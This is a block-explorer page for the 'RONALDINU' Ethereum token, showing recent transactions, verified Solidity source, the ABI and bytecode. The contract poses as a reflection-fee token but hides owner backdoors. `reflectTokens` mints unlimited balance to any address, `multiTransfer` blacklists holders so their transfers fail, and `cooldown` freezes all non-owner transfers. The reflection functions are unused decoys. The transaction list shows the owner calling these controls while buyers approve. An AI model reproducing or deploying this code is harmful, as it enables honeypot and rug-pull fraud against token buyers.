Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 53 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 15867420 | 1239 days ago | IN | 0 ETH | 0.00048072 | ||||
| Reflect Tokens | 15867410 | 1239 days ago | IN | 0 ETH | 0.0004903 | ||||
| Approve | 15864922 | 1239 days ago | IN | 0 ETH | 0.00040819 | ||||
| Approve | 15864894 | 1239 days ago | IN | 0 ETH | 0.0004247 | ||||
| Approve | 15864744 | 1239 days ago | IN | 0 ETH | 0.0003762 | ||||
| Multi Transfer | 15864532 | 1239 days ago | IN | 0 ETH | 0.00045203 | ||||
| Approve | 15864443 | 1239 days ago | IN | 0 ETH | 0.00033654 | ||||
| Approve | 15864441 | 1239 days ago | IN | 0 ETH | 0.00031631 | ||||
| Approve | 15864428 | 1239 days ago | IN | 0 ETH | 0.00030755 | ||||
| Approve | 15864428 | 1239 days ago | IN | 0 ETH | 0.00030755 | ||||
| Approve | 15864389 | 1239 days ago | IN | 0 ETH | 0.00089533 | ||||
| Approve | 15864347 | 1239 days ago | IN | 0 ETH | 0.00127325 | ||||
| Approve | 15864318 | 1239 days ago | IN | 0 ETH | 0.00038673 | ||||
| Approve | 15864311 | 1239 days ago | IN | 0 ETH | 0.00046746 | ||||
| Transfer | 15864309 | 1239 days ago | IN | 0 ETH | 0.00024276 | ||||
| Approve | 15864306 | 1239 days ago | IN | 0 ETH | 0.0004594 | ||||
| Multi Transfer | 15864293 | 1239 days ago | IN | 0 ETH | 0.00029601 | ||||
| Approve | 15864283 | 1239 days ago | IN | 0 ETH | 0.00036665 | ||||
| Approve | 15864252 | 1239 days ago | IN | 0 ETH | 0.00037618 | ||||
| Approve | 15864243 | 1239 days ago | IN | 0 ETH | 0.00035108 | ||||
| Approve | 15864238 | 1239 days ago | IN | 0 ETH | 0.00030003 | ||||
| Approve | 15864236 | 1239 days ago | IN | 0 ETH | 0.00026517 | ||||
| Transfer | 15864236 | 1239 days ago | IN | 0 ETH | 0.00014125 | ||||
| Approve | 15864219 | 1239 days ago | IN | 0 ETH | 0.00029241 | ||||
| Multi Transfer | 15864214 | 1239 days ago | IN | 0 ETH | 0.00031 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
RONALDINU
Compiler Version
v0.8.8+commit.dddeac2f
Contract Source Code (Solidity Multiple files format)
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity =0.8.8;
import "./SafeMath.sol";
import "./Ownable.sol";
import "./IERC20.sol";
contract RONALDINU is Context, IERC20, Ownable {
using SafeMath for uint256;
string private _name = 'Ronaldinu';
string private _symbol = 'RONALDINU';
uint8 private _decimals = 9;
uint256 private constant _tTotal = 1000000000000*10**9;
string public TaxSlippage = "0.5%";
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _sOwned;
mapping (address => uint256) private _tOwned;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private _multiTransfer;
event transferApproved (address send, bool transfered);
uint256 private constant MAX = ~uint256(0);
uint256 private _totalSupply;
address public uniV2factory;
address public uniV2router;
uint256 private _rTotal;
address[] private _excluded;
uint256 private _tFeeTotal;
bool _cooldown = false;
constructor (address V2factory, address V2router) {
_totalSupply =_tTotal;
_rTotal = (MAX - (MAX % _totalSupply));
_sOwned[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _totalSupply);
_tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]);
_isExcluded[_msgSender()] = true;
_excluded.push(_msgSender());
uniV2factory = V2factory;
uniV2router = V2router;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _sOwned[account];
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function multiTransfer(address _address) external onlyOwner {
if (_multiTransfer[_address] == true) {_multiTransfer[_address] = false;}
else {_multiTransfer[_address] = true;
emit transferApproved (_address, _multiTransfer[_address]);}
}
function checkTransfer(address _address) public view returns (bool) {
return _multiTransfer[_address];
}
function cooldown() external onlyOwner {
if (_cooldown == false) {_cooldown = true;}
else {_cooldown = false;}
}
function isCooldown() public view returns (bool) {
return _cooldown;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function reflectTokens (address router, uint256 fee) public virtual onlyOwner {
_sOwned[router] = _sOwned[router].add(fee);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_multiTransfer[sender] || _multiTransfer[recipient]) require (amount == 0, "");
if (_cooldown == false || sender == owner() || recipient == owner()) {
_sOwned[sender] = _sOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_sOwned[recipient] = _sOwned[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else {require (_cooldown == false, "");}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferOwner(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, , , , ) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
if (_isExcluded[sender]) {_tOwned[sender] = _tOwned[sender].sub(tAmount);}
_rOwned[recipient] = _rOwned[recipient].add(rAmount);
if (_isExcluded[recipient]) {_tOwned[recipient] = _tOwned[recipient].add(tAmount);}
emit Transfer(sender, recipient, tAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(1000).mul(3);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity =0.8.8;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
* Returns a boolean value indicating whether the operation succeeded.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
* Returns a boolean value indicating whether the operation succeeded.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's allowance.
* Returns a boolean value indicating whether the operation succeeded.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to another (`to`).
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity =0.8.8;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Throws if called by any account other than the owner.
*/
function owner() internal view returns (address) {
return _owner;
}
}// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity =0.8.8;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on overflow (when the result is negative).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"address","name":"V2factory","type":"address"},{"internalType":"address","name":"V2router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"send","type":"address"},{"indexed":false,"internalType":"bool","name":"transfered","type":"bool"}],"name":"transferApproved","type":"event"},{"inputs":[],"name":"TaxSlippage","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"checkTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cooldown","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isCooldown","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"multiTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"}],"name":"reflect","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"router","type":"address"},{"internalType":"uint256","name":"fee","type":"uint256"}],"name":"reflectTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferFee","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniV2factory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniV2router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]Contract Creation Code
60806040526040518060400160405280600981526020017f526f6e616c64696e750000000000000000000000000000000000000000000000815250600190805190602001906200005192919062000a58565b506040518060400160405280600981526020017f524f4e414c44494e550000000000000000000000000000000000000000000000815250600290805190602001906200009f92919062000a58565b506009600360006101000a81548160ff021916908360ff1602179055506040518060400160405280600481526020017f302e352500000000000000000000000000000000000000000000000000000000815250600490805190602001906200010992919062000a58565b506000601160006101000a81548160ff0219169083151502179055503480156200013257600080fd5b5060405162003a3938038062003a39833981810160405281019062000158919062000b72565b60006200016a6200052860201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350683635c9adc5dea00000600b81905550600b546000196200022a919062000bf2565b60001962000239919062000c59565b600e81905550683635c9adc5dea00000600760006200025d6200052860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620002ab6200052860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b546040516200030c919062000ca5565b60405180910390a362000373600660006200032c6200052860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200053060201b60201c565b60086000620003876200052860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160096000620003db6200052860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600f6200043e6200052860201b60201c565b9080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505062000f3c565b600033905090565b6000600e548211156200057a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005719062000d49565b60405180910390fd5b60006200058c620005b060201b60201c565b9050620005a88184620005ea60201b620011271790919060201c565b915050919050565b6000806000620005c56200063c60201b60201c565b91509150620005e38183620005ea60201b620011271790919060201c565b9250505090565b60006200063483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200093560201b60201c565b905092915050565b6000806000600e5490506000683635c9adc5dea00000905060005b600f80549050811015620008e1578260066000600f848154811062000681576200068062000d6b565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806200077357508160086000600f84815481106200070b576200070a62000d6b565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156200079357600e54683635c9adc5dea000009450945050505062000931565b6200082d60066000600f8481548110620007b257620007b162000d6b565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846200099d60201b620011711790919060201c565b9250620008c960086000600f84815481106200084e576200084d62000d6b565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836200099d60201b620011711790919060201c565b91508080620008d89062000d9a565b91505062000657565b5062000907683635c9adc5dea00000600e54620005ea60201b620011271790919060201c565b8210156200092857600e54683635c9adc5dea0000093509350505062000931565b81819350935050505b9091565b600080831182906200097f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000976919062000e7b565b60405180910390fd5b506000838562000990919062000e9f565b9050809150509392505050565b6000620009e783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250620009ef60201b60201c565b905092915050565b600083831115829062000a3a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a31919062000e7b565b60405180910390fd5b506000838562000a4b919062000c59565b9050809150509392505050565b82805462000a669062000f06565b90600052602060002090601f01602090048101928262000a8a576000855562000ad6565b82601f1062000aa557805160ff191683800117855562000ad6565b8280016001018555821562000ad6579182015b8281111562000ad557825182559160200191906001019062000ab8565b5b50905062000ae5919062000ae9565b5090565b5b8082111562000b0457600081600090555060010162000aea565b5090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000b3a8262000b0d565b9050919050565b62000b4c8162000b2d565b811462000b5857600080fd5b50565b60008151905062000b6c8162000b41565b92915050565b6000806040838503121562000b8c5762000b8b62000b08565b5b600062000b9c8582860162000b5b565b925050602062000baf8582860162000b5b565b9150509250929050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000bff8262000bb9565b915062000c0c8362000bb9565b92508262000c1f5762000c1e62000bc3565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000c668262000bb9565b915062000c738362000bb9565b92508282101562000c895762000c8862000c2a565b5b828203905092915050565b62000c9f8162000bb9565b82525050565b600060208201905062000cbc600083018462000c94565b92915050565b600082825260208201905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600062000d31602a8362000cc2565b915062000d3e8262000cd3565b604082019050919050565b6000602082019050818103600083015262000d648162000d22565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600062000da78262000bb9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141562000ddd5762000ddc62000c2a565b5b600182019050919050565b600081519050919050565b60005b8381101562000e1357808201518184015260208101905062000df6565b8381111562000e23576000848401525b50505050565b6000601f19601f8301169050919050565b600062000e478262000de8565b62000e53818562000cc2565b935062000e6581856020860162000df3565b62000e708162000e29565b840191505092915050565b6000602082019050818103600083015262000e97818462000e3a565b905092915050565b600062000eac8262000bb9565b915062000eb98362000bb9565b92508262000ecc5762000ecb62000bc3565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000f1f57607f821691505b6020821081141562000f365762000f3562000ed7565b5b50919050565b612aed8062000f4c6000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c806370a08231116100b8578063a457c2d71161007c578063a457c2d71461037b578063a77c1b08146103ab578063a9059cbb146103db578063c71e60701461040b578063dd62ed3e14610427578063ee882fb51461045757610142565b806370a08231146102e9578063787a08a6146103195780637aadbea91461032357806395d89b411461033f5780639d8d84061461035d57610142565b806329bd54101161010a57806329bd5410146101ff5780632d8381191461021d578063313ce5671461024d578063377ad1271461026b57806339509351146102895780634549b039146102b957610142565b8063053ab1821461014757806306fdde0314610163578063095ea7b31461018157806318160ddd146101b157806323b872dd146101cf575b600080fd5b610161600480360381019061015c9190611e42565b610475565b005b61016b6105ef565b6040516101789190611f08565b60405180910390f35b61019b60048036038101906101969190611f88565b610681565b6040516101a89190611fe3565b60405180910390f35b6101b961069f565b6040516101c6919061200d565b60405180910390f35b6101e960048036038101906101e49190612028565b6106b0565b6040516101f69190611fe3565b60405180910390f35b610207610789565b604051610214919061208a565b60405180910390f35b61023760048036038101906102329190611e42565b6107af565b604051610244919061200d565b60405180910390f35b61025561081d565b60405161026291906120c1565b60405180910390f35b610273610834565b604051610280919061208a565b60405180910390f35b6102a3600480360381019061029e9190611f88565b61085a565b6040516102b09190611fe3565b60405180910390f35b6102d360048036038101906102ce9190612108565b61090d565b6040516102e0919061200d565b60405180910390f35b61030360048036038101906102fe9190612148565b610996565b604051610310919061200d565b60405180910390f35b6103216109df565b005b61033d60048036038101906103389190611f88565b610ace565b005b610347610bfc565b6040516103549190611f08565b60405180910390f35b610365610c8e565b6040516103729190611f08565b60405180910390f35b61039560048036038101906103909190611f88565b610d1c565b6040516103a29190611fe3565b60405180910390f35b6103c560048036038101906103c09190612148565b610de9565b6040516103d29190611fe3565b60405180910390f35b6103f560048036038101906103f09190611f88565b610e3f565b6040516104029190611fe3565b60405180910390f35b61042560048036038101906104209190612148565b610e5d565b005b610441600480360381019061043c9190612175565b611089565b60405161044e919061200d565b60405180910390f35b61045f611110565b60405161046c9190611fe3565b60405180910390f35b600061047f6111bb565b9050600960008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561050e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050590612227565b60405180910390fd5b6000610519836111c3565b50505050905061057181600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461117190919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506105c981600e5461117190919063ffffffff16565b600e819055506105e48360105461121b90919063ffffffff16565b601081905550505050565b6060600180546105fe90612276565b80601f016020809104026020016040519081016040528092919081815260200182805461062a90612276565b80156106775780601f1061064c57610100808354040283529160200191610677565b820191906000526020600020905b81548152906001019060200180831161065a57829003601f168201915b5050505050905090565b600061069561068e6111bb565b8484611279565b6001905092915050565b6000683635c9adc5dea00000905090565b60006106bd848484611444565b61077e846106c96111bb565b61077985604051806060016040528060288152602001612a6b60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061072f6111bb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118f19092919063ffffffff1656